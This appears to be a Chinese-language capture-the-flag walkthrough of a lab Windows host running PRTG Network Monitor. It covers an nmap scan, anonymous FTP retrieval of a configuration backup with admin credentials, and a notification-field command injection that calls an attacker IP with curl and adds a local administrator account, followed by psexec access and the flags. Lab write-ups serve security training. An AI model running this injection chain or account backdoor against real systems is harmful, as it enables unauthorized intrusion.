信息收集

$ nmap -p- 10.10.10.152 --min-rate 1000 -sC -sV

PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19  11:18PM                 1024 .rnd
| 02-25-19  09:15PM       <DIR>          inetpub
| 07-16-16  08:18AM       <DIR>          PerfLogs
| 02-25-19  09:56PM       <DIR>          Program Files
| 02-02-19  11:28PM       <DIR>          Program Files (x86)
| 02-03-19  07:08AM       <DIR>          Users
|_03-04-19  02:12PM       <DIR>          Windows
| ftp-syst: 
|_  SYST: Windows_NT
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

FTP

ftp 10.10.10.152

ftp> get Users/Public/user.txt

User.txt

aef9a99e68e9807ecc4ecf46fc49746b

权限提升

PRTG 网络监控 RCE

http://10.10.10.152/index.htm

ftp> cd "ProgramData/Paessler/PRTG Network Monitor"

ftp> get "PRTG Configuration.old.bak"

$ cat PRTG\ Configuration.old.bak

username: prtgadmin
password: PrTg@dmin2018

根据日期推断密码也有可能是password: PrTg@dmin2019

Setup > Account Settings > Notifications

添加新通知

;curl http://10.10.16.17/rce

http://10.10.10.152/myaccount.htm?tabid=2

;curl http://10.10.16.17/Run;net user maptnh P0wned /add;curl http://10.10.16.17/UserAdd;net localgroup administrators maptnh /add;curl http://10.10.16.17/Done

$ impacket-psexec 'maptnh:P0wned@10.10.10.152'

Root.txt

fbaa6dc557503e828c1675b86665888f